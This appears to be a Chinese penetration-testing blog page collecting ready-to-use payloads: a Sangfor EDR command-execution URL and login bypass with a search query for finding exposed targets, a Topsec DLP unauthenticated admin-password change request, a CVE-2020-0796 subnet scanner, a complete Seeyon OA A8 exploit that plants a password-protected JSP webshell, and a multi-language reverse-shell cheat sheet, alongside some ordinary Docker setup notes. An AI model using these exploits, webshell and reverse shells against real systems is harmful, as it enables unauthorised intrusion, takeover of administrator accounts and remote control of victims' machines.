分类 渗透测试 下的文章

sangfor edr and else payload


深信服EDR

RCE:

https://xxx.xxx.xxx:9443/tool/log/c.php?strip_slashes=system&host=whoami

批量github:https://github.com/A2gel/sangfor-edr-exploit

fofa:title="终端检测响应平台" && country="CN"

任意用户登录:

/ui/login.php?user=admin



天融信DLP


最新版本V3.1130.308ps3_DLP.1 未授权访问导致越权修改管理员密码


  1. POST /?module=auth_user&action=mod_edit_pwd HTTP/1.1

  2. Host:xxxx

  3. 剩下的一些参数省略.... ...

  4. uid=1&pd=Tftp@dlp108&mod_pwd=1&dlp_perm=1

image.png


uid=1&pd=Tftp@dlp108&mod_pwd=1&dlp_perm=1




CVE-2020-0796 check_script*2


SMB远程代码执行漏洞(CVE-2020-0796)

漏洞原理:SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,导致攻击者远程执行任意代码

影响版本:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

poc原理:验证回包中的特定位置是否包含十六进制的\x11\x03或\x02\x00这两个关键字

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")



用友OA_A8_无条件getshell_payload


#coding=utf-8
import sys
import requests

def encode(origin_bytes):
    """
    重构 base64 编码函数
    """
    # 将每一位bytes转换为二进制字符串
    base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
    base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]
 
    resp = ''
    nums = len(base64_bytes) // 3
    remain = len(base64_bytes) % 3
 
    integral_part = base64_bytes[0:3 * nums]
    while integral_part:
        # 取三个字节,以每6比特,转换为4个整数
        tmp_unit = ''.join(integral_part[0:3])
        tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
        # 取对应base64字符
        resp += ''.join([base64_charset[i] for i in tmp_unit])
        integral_part = integral_part[3:]
 
    if remain:
        # 补齐三个字节,每个字节补充 0000 0000
        remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
        # 取三个字节,以每6比特,转换为4个整数
        # 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充=
        tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
        resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='
 
    return resp
def getshell(urls):
    url = urls + "/seeyon/htmlofficeservlet"
    headers = {
        "Pragma": "no-cache",
        "Cache-Control": "no-cache",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
    }
    file_name = encode('..\..\..\ApacheJetspeed\webapps\seeyon\checkload32.jsp')
    payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlVr
OPTION=S3WYOSWLBSGrr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66r
CREATEDATE=wUghPB3szB3Xwg66r
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6r
originalFileId=wV66r
originalCreateDate=wUghPB3szB3Xwg66r
FILENAME="""+file_name+"""r
needReadFile=yRWZdAS6r
originalCreateDate=wLSGP4oEzLKAz4=iz=66r
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
    requests.post(url=url,data=payload,headers=headers)
    result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
    if 'ZuoShou_Jsp_Shell' in result.text :
        print(u'Jsp:Getshell成功t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
    else :
        print(u'Getshell失败')
if __name__ == '__main__':
    if len(sys.argv)!=2 :
        print(u"tt用法:python poc.py 'http://loaclhost'")
    else:
        url = sys.argv[1]
        getshell(url)




Dokcer相关


docker配置

docker gedit /etc/systemd/system/docker.service.d/http-proxy.conf


[Service]


#Environment="HTTP_PROXY=http://proxy.example.com:80/" Environment="NO_PROXY=localhost,127.0.0.0/8,docker-registry.somecorporation.com"


#Environment="HTTP_PROXY=http://192.168.111.10:8089/"


/etc/docker/daemon.json 

{ "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub.mirror.c.163.com", "https://registry.docker-cn.com" ] }


删除镜像:docker rmi -f id


查找镜像IP:docker inspect id | grep IPAddress







NC反弹shell


瑞士军刀netcat,这只喵的名气不言而喻,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量,今天我们来简单研究下如何使用nc反弹shell。

先来个正向shell做下对比:

nc -lvvp 1988 -e /bin/bash   
nc Rhost 1988                   //hacker

反向shell:

nc -e /bin/bash Lhost 1988nc -lvvp 1988                   //hacker

看出为什么要用反弹shell了么,如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了,当然,如果你要做雷锋给他配个frp的话,是在下输了。
当然啦,如果目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。
然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材,网上有国外大佬整理了各种版本的shell写法,在此借鉴,并附上真·原文连接。

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

真·原文链接:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

以上内容均为靶机端配置,笔者语言广度不足没发给予一一验证了,但在这里我们简单复现下bash环境下的反弹。
bash -i >& /dev/tcp/172.16.222.81/1988 0>&1

parrot


nc -lvvp 1988

反弹shell


因为编码问题字体可能不怎么好看,但是反弹shell的确成功了。
为什么要特意讲下bash环境下的反弹shell,因为我们常会见到一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时我们权限较低,但的的确确具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。